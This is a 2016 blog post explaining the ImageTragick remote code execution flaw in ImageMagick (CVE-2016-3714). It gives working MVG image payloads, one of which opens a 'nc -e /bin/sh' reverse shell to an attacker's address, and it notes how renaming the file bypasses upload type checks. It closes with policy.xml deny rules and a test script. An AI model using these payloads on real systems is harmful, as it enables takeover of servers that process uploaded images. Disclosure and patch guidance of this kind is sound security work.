ImageTragick Exploitation – CVE-2016-3714 cover image

ImageTragick Exploitation – CVE-2016-3714

Mukarram Khalid • May 7, 2016

exploits

Introduction

One of the many talents of the Infosec community is the ability to come up with a cool name for a critical vulnerability. A few days ago, I heard a similar name "ImageTragick". This name has been given to a critical vulnerability which affects ImageMagick <= 6.9.3-9. The vulnerability was disclosed publicly a couple of days ago with a working POC exploit. CVE-2016–3714 has been assigned to it.

What is ImageMagick?

ImageMagick is an open source utility used by numerous applications to create, edit, convert or compose image files. As per their documentation, this utility can read and write over 200 image file formats. I have personally used ImageMagick in one of my web applications to re-size the profile pictures uploaded by the users, and I know some other web applications doing the same.

Vulnerability

A security researcher named Stewie found the initial bug and Nikolay Ermishkin found the additional issues including RCE (Remote Code Execution) and as per the POC details this vulnerability is "tragickally simple to exploit". The vulnerability exists because of the insufficient filtering for the file names passed to a system() call (specifically, a delegate's command), which allows remote code execution during the conversion of several file formats and that's not it, this issue becomes a nightmare when it comes to SVG and MVG image formats which can contain references to other images, both Local and Remote. From the offcial disclosure here:

ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool identify (command) is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via less exploit.jpg, because identify is invoked via lesspipe.sh).

Exploitation

The exploitation is ridiculously simple. An end user can exploit this vulnerability by simply uploading an image. It doesn't matter how secure your image uploader is, as long as you're running the vulnerable version of ImageMagick and you're processing your images with this utility, it'll take just one image upload for the successful exploitation. I've coded a simple image uploading form for the demonstration. This form allows the user to upload files in .jpg or .png formats and then use the ImageMagick-Convert utility to resize the image.

Uploader

To make a working exploit, all you have to do is copy the following code in your favorite text editor and save it as an image (.jpg, .png etc).

# exploit.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/oops.jpg"|touch "/tmp/hacked)'
pop graphic-context

When the user uploads the image, command (touch /tmp/hacked) gets executed. Although, the user won't see the output of the commands, this can be easily escalated to a reverse shell. Take a look at the following example.

# reverse.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh IP_ADDRESS_HERE "PORT_HERE)'
pop graphic-context

An attacker can listen on a PORT and get a reverse shell.

How to Fix?

You can fix this vulnerability by updating ImageMagick to the latest version. The chagelog is given here. Or, If you don't want to update the utility, ImageMagick has also shared a workaround in an official post here. It says that you can edit the policy.xml of ImageMagick and add the following policies which will prevent this vulnerability.

<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />

After updating your policy.xml, you can test your configuration by cloning this git repository and running test.sh.

git clone https://github.com/ImageTragick/PoCs.git
cd PoCs
chmod +x test.sh && ./test.sh

If you get SAFE in the output, you're not vulnerable anymore but if you get UNSAFE, you need to update your policy.xml file.

Security is a spectrum, beware of falling into a false dilemma.